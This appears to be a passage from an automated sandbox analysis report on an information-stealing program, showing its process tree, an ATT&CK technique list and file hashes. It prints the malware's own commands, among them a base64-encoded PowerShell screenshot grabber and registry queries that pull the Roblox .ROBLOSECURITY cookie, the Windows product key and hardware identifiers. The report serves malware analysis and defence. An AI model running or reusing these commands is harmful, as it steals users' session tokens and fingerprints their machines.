JABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3660
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2712
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\swu10lmp\swu10lmp.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1600
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFE70.tmp" "c:\Users\Admin\AppData\Local\Temp\swu10lmp\CSCE370B390B7A64F46B5BDE4D57AF498D7.TMP"
        6⤵
        
        PID:1256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:452
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2920
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2748
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1696
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5008
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3176
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4256
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1720
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:2680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4156
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious use of AdjustPrivilegeToken
      PID:4260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1660
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Reads the TCP/IP host and domain name from the registry
      PID:448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4460
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Queries system WMI classes for hardware identifiers
      Reads the TCP/IP host and domain name from the registry
      PID:3052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:552
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3044
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Detects videocard installed
      PID:364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1500
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:216

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1188
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ff8659fc728,0x7ff8659fc734,0x7ff8659fc740
  2⤵
  PID:1244
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1968,i,1639378373566385924,17316764796767616758,524288 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2124 /prefetch:3
  2⤵
  - System Time Discovery
  PID:1112
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1760,i,16123554968844331601,13857676635458754230,262144 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2088 /prefetch:2
  2⤵
  PID:2228
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2456,i,12414705709686413099,7773187867949820782,524288 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2620 /prefetch:8
  2⤵
  PID:2856
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3272,i,748124273180360426,17008946848762698617,2097152 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3276 /prefetch:1
  2⤵
  PID:4280
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3480,i,18410609885365049381,3147411966550224496,2097152 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3484 /prefetch:1
  2⤵
  PID:5076
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4572,i,8978441684489210400,12742094209579685381,2097152 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4588 /prefetch:1
  2⤵
  PID:3344
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4708,i,13742483836104884851,1813858097139459020,524288 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4472 /prefetch:8
  2⤵
  PID:2760
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4896,i,11298436346815647390,10486268861591282795,524288 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4904 /prefetch:8
  2⤵
  PID:3676
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4860,i,4973412226505718747,14129293900357410326,2097152 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4552 /prefetch:1
  2⤵
  PID:4688
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5496,i,35832276972151561,14214250360202239696,524288 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5280 /prefetch:8
  2⤵
  PID:4004
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5628,i,12050586078659669655,17489706980444552188,2097152 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5632 /prefetch:2
  2⤵
  PID:4848
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5756,i,1241176241360604591,12014010298181974016,2097152 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5524 /prefetch:1
  2⤵
  PID:4208
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=3492,i,6926336055008825474,15133876602676363092,2097152 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3384 /prefetch:1
  2⤵
  PID:952
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4704,i,17087073235342441142,9870433402250618270,524288 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3264 /prefetch:8
  2⤵
  PID:4580
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3312,i,14021386760932351992,8397845371521315237,524288 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4608 /prefetch:8
  2⤵
  PID:3132
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3312,i,422917156289394211,7985504611595379821,524288 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4600 /prefetch:8
  2⤵
  PID:100
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4588,i,18423507926419885820,15461324938246761185,524288 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4688 /prefetch:8
  2⤵
  PID:3536
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4584,i,586050430889961503,17308565495123014924,524288 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4228 /prefetch:8
  2⤵
  PID:2012
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6032,i,1497480003700633098,4535811413982765992,2097152 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6128 /prefetch:2
  2⤵
  PID:1640
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=4612,i,16572267871676731488,18021352250735693982,2097152 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3240 /prefetch:1
  2⤵
  PID:4016
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6024,i,14566826923892785828,5853304011746891554,2097152 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3244 /prefetch:1
  2⤵
  PID:3536
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3372,i,160017133211468511,1027024777741644218,524288 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3376 /prefetch:8
  2⤵
  PID:60
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3568,i,18411637004474912242,7706917796381973626,524288 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5968 /prefetch:8
  2⤵
  PID:2448
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3388,i,3352147393689783940,10150906629796680855,524288 --field-trial-handle=2092,i,12061918886369940250,11611072469028816671,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6080 /prefetch:8
  2⤵
  PID:2764

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2436

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

System Time Discovery

T1124

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Video Capture

T1125

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

2c590529-5f12-479b-864d-50360497df96.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\2c590529-5f12-479b-864d-50360497df96.tmp
Size 269KB
SHA256 9824094d0937a11ac5bf137585b62df98017814f06efe388eda971fe23d7a21d
MD5 afc724d843502ce1ed1e8e4b639eb1b4
SHA1 200424a0de73fdba8b55102192237884d799a95e
SHA512 4b449e4380ec288c9758fe9cd459c90bc179d5a24f2e52f8ddf83812b26188ffe31890d4a3b8142b5559a6ccedb3c48d4a2989d963a9fa2458ea14d3834dd7d8
